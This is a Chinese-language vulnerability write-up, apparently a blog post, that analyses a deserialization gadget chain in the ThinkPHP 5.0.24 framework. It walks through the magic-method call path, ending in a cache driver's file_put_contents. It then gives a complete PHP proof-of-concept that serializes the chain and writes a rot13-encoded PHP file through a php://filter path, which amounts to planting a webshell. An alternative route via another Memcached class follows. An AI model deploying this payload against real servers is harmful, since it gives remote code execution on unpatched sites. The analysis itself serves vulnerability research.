thinkphp5框架:
thinkphp5的入口文件在public\index.php
,访问
http://192.168.64.105/thinkphp_5.0.24/public/index.php
写一个反序列化入口点
全局搜索__destruct()
函数
\thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php
中的__destruct()
函数,调用了removeFiles()
跟进removeFiles(),第163行的file_exists可以触发__toString
方法
全局搜索__toString方法
在thinkphp\library\think\Model.php
的第2265行,发现其调用了toJson方法
跟进toJson
,发现其调用了toArray()方法(在Model.php中)
跟进toArray
,发现其有三处可以调用__call
方法(就是整一个可以控制的类对象,然后让其调用该类不存在的方法,然后触发__call
魔术方法)
__call(),在对象中调用一个不可访问方法时调用。
着重看第三处,也就是第912行,这个需要我们控制$value变量
这个$value变量是根据 $value = $this->getRelationData($modelRelation);
而来的
跟进getRelationData
方法,注意参数$modelRelation
需要是Relation
类型的,该方法也是thinkphp\library\think\Model.php
中定义的
如果我们让if满足,那么$value=$this->parent
,看三个条件
$this->parent
存在且可控!$modelRelation->isSelfRelation()
,跟进isSelfRelation()
方法,该方法在thinkphp\library\think\model\Relation.php
中定义,返回$this->selfRelation,可控get_class($modelRelation->getModel()) == get_class($this->parent)
,也就是跟进getModel()函数
,该函数在thinkphp\library\think\model\Relation.php
,返回$this->query->getModel()
,其中$query可控
所以我们要查哪个类的getModel()可控,最后找到了thinkphp\library\think\db\Query.php
的getModel方法,该方法返回$this->model
,并且$this->parent可控
三个条件都满足,执行$value = $this->parent; return $value;
,也就是\think\console\Output
该函数分析到这里
上面分析了函数的执行过程,接下来分析我们怎么能传入一个Relation类
的$modelRelation参数
发现$relation()函数是根据$relation的值进行调用的,需要满足if条件method_exists
跟进Loader::parseName
瞅一瞅,这个函数也只是对传入的$name
进行了一些大小写的替换,没有一些很严格的过滤操作,因为$name
可控,所以$relation可控
在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法
if (method_exists($this, $relation))
这里选择getError,因为其不仅在Model类中定义,且error可控
所以我们只要设置了$error,那么其值就会通过 $modelRelation = $this->$relation();
传给$modelRelation ,因为relation()也就是 Error()
,所以就是$modelRelation = $this->Error()
,即$modelRelation = $error
modelRelation分析到这里,而我们传的$error
是什么,接下来会分析,其实就是HasOne
类
接下来要分析两个if条件
我们看第一个if,要满足 m o d e l R e l a t i o n 这 个 类 中 存 在 g e t B i n d A t t r ( ) 函 数 , 而 且 下 一 个 ‘ modelRelation这个类中存在getBindAttr()函数,而且下一个` modelRelation这个类中存在getBindAttr()函数,而且下一个‘bindAttr`是该函数的返回值
全局搜索getBindAttr
其在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控
我们搜索继承OneToOne的类,发现HasOne类,所以可以让$modelRelation的值为HasOne
,这个也满足getRelationData()传入的是Relation类对象
的要求,并且bindAttr可控,满足第二个if条件,简直完美!!!
其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候
然后进入__call
,要选择一个能写webshell的类的__call
方法,选择了thinkphp\library\think\console\Output.php
所以上面的$value应该是一个thinkphp\library\think\console\Output.php
类对象
在这里
m
e
t
h
o
d
和
method和
method和this->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行block
方法,跟进Output的block
方法
跟进writeln
方法
跟进write方法
handle属性可控,所以全局搜索write
方法
thinkphp\library\think\session\driver\Memcached.php
的write方法
而$this->handler可控,所以全局搜索可用的set方法
在thinkphp\library\think\cache\driver\File.php
中,set方法可以使用file_put_contents
写文件,第158行的exit可以使用伪协议进行绕过
初步来看可以利用file_put_contents来写文件,我们跟入 d a t a 和 data和 data和filename,看 d a t a 与 data与 data与filename是否可控
$filename
的值是由getCacheKey()方法决定的,跟进getCacheKey,可以知道filename的后缀名是php,是写死的,文件名部分可控所以就是file_put_contents可以写文件,但是内容不可控
所以继续看set接下来的代码,调用了setTagItem()
进入thinkphp\library\think\cache\Driver.php
的setTagItem
方法,(注意File类继承了Driver类,但是Driver是一个抽象类)并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的
但是windows对文件名有相应的要求,所以复现不容易
上面已经分析得很详细了,这里简单调试分析一下
到$value
到set方法这里,着重看一下,第一次整的时候,直接报错了,转到异常处理了,
这里是因为我的文件名不符合要求,所以先随便写一个,看接下来怎么走
随便写一个之后,走到setTagItem()这里,这里$tag是可控的,所以$key是可控的
这个第二次调用set函数,$key可知,$value可控
放在linux运行,生成了对应的文件
查看
这里虽然看着是加了'
,但是其实并没有,注意访问的时候,将?
进行url编码一下
注意需要将php的short_open_tag
设为Off
,不然会将<??>
之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错
<?php
namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes
{}
//Windows类中有$files数组 通过file_exists触发__toString方法
class Windows extends Pipes{
private $files = []; //$files是个数组
public function __construct()
{
$this->files = [new Pivot()]; //触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
# Model抽象类
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;
function __construct(){
$this->parent = new Output(); //调用__call()
$this->append = ['getError']; //会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation
$this->error = new HasOne(); //最后传给$modelRelation
$this->selfRelation = false; //isSelfRelation()
$this->query = new Query(); //用于判断getRelationData()中if条件的第三个
}
}
#Relation抽象类 之后的Output是Relation的派生类
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false; # 这个用于判断getRelationData()中if条件的第二个
$this->query = new Query();#class Query
}
}
#OneToOne HasOne 用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{ # OneToOne抽象类
function __construct(){
parent::__construct();
}
}
// HasOne
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"]; # 这个需要动调,才能之后为什么这么写,待会说
}
}
#Output 进入Output->__call()
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached(); //目的调用Memcached类的write()函数
$this->styles = ['getAttr']; # 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr
}
}
#Query
namespace think\db;
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output(); //判断getRelationData()中if条件的第三个
}
}
#Memcached
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File(); //目的是调用File->set()
}
}
#File
namespace think\cache\driver;
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>', //
'data_compress' => false,
];
$this->tag = true;
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
这里借用一下osword
师傅的图
我们注意到,在原有的链子中,我们在thinkphp\library\think\session\driver\Memcached.php
中将$this->handler设置为File类对象,目的是调用File.php的set()
方法
但是也可以将$this->handler设置为thinkphp\library\think\cache\driver\Memcached.php
中的Memcached
类对象,注意这两个php文件是不一样的,其也有一个set方法
第114行也有一个set方法,且handler可控
看这个getCacheKey()函数,这个options可控,所以返回值可控
所以$key可控,但是我们前面分析过了,这个$value不可控,所以还是要进115行的setTagItem()函数,跟进,它还是在Driver.php中定义的,这里根据前面的分析,$key和$value都是可控的,且没有那个<>?
这样的特殊符号的影响
详细参考:Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)